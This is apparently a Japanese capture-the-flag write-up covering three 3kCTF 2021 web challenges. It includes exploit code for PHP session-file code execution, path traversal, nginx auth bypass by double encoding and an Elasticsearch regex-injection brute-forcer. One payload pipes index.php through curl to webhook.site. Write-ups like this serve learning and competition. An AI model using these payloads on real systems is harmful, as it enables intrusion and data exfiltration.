5/15 - 5/17という日程で開催された。zer0ptsで参加して3位。
[Web 425] online_compiler (30 solves)
PHPのセッションは大体 /tmp/sess_(セッションID)
みたいに session.save_path
下にファイルとして保存されることを使う。まず以下のコードで /El_FlAAG___FilEE
の存在がわかる。実行するOSコマンドを cat /*FlAAG*
に変えるとフラグ。
function save(code) { return $.post("http://" + location.hostname + ":5000/save", { c_type: "php", code }); } function compile(c_type, filename) { return $.post("http://" + location.hostname + ":5000/compile", { c_type, filename }); } let path1 = await save(`<?=session_id('poyo0py');session_start();$a='import os;os.system("ls /")#';`); let path2 = await save(`<?=require('${path1}');$_SESSION[$a]=1;session_close();`); console.log(path1, path2); console.log(await compile('php', path2)); console.log(await compile('python', '../../../tmp/sess_poyo0py'));
[Web 438] Emoji (25 solves)
以下のコードを見るとGitHubの 3kctf2021webchallenge/downloader
というリポジトリからしか取ってこれないように思えるが、$page
に ../../../…
を仕込んでやると好きなリポジトリから取ってこさせることができる。
function fetch_and_parse($page){ $a=file_get_contents("https://raw.githubusercontent.com/3kctf2021webchallenge/downloader/master/".$page.".html"); preg_match_all("/<img src=\"(.*?)\">/", $a,$ma); return $ma; }
ということで、以下の手順でフラグが得られる。
<img src="$(cat index.php | curl https://webhook.site/...?test -Ff=@-)">
みたいな内容のHTMLをGitHubのプライベートリポジトリに上げる/?dir=../../../st98/sandbox-private/master/test.html?token=(トークン)%23
みたいな感じのURLにアクセスするとペイロードが署名される- 生成されたリンクにアクセスするとOS Command Injectionが発火
[Web 478] p(a)wnshop (9 solves)
まず以下のnginxのフィルターをバイパスして /backend/admin.py
を叩く必要があるが、これは /backend/%2561dmin.py
でなんとかできた(なんで?)。
location ~admin { auth_basic "pawnshop admin"; auth_basic_user_file /etc/nginx/.htpasswd; }
admin.py
にはNoSQL Injection(Elasticsearch)がある。正規表現でがんばろう。
import ssl import urllib.parse import http.client import string def query(q): payload = f'" AND id:5 AND value:/{q}/ AND "@pawnshop.2021.3k.ctf.to' conn = http.client.HTTPSConnection("pawnshop.2021.3k.ctf.to", 4443, context=ssl._create_unverified_context()) conn.request('POST', '/backend/%2561dmin.py', 'action=lookup&mail=' + urllib.parse.quote(payload)) res = conn.getresponse().read() print('[debug]', q, res) return b'not found' not in res table = '' table += '_-' table += string.ascii_lowercase table += string.ascii_uppercase table += string.digits table += '.' known = 'http2_' while True: for c in table: if query(known + c + '.*'): known += c break print(known)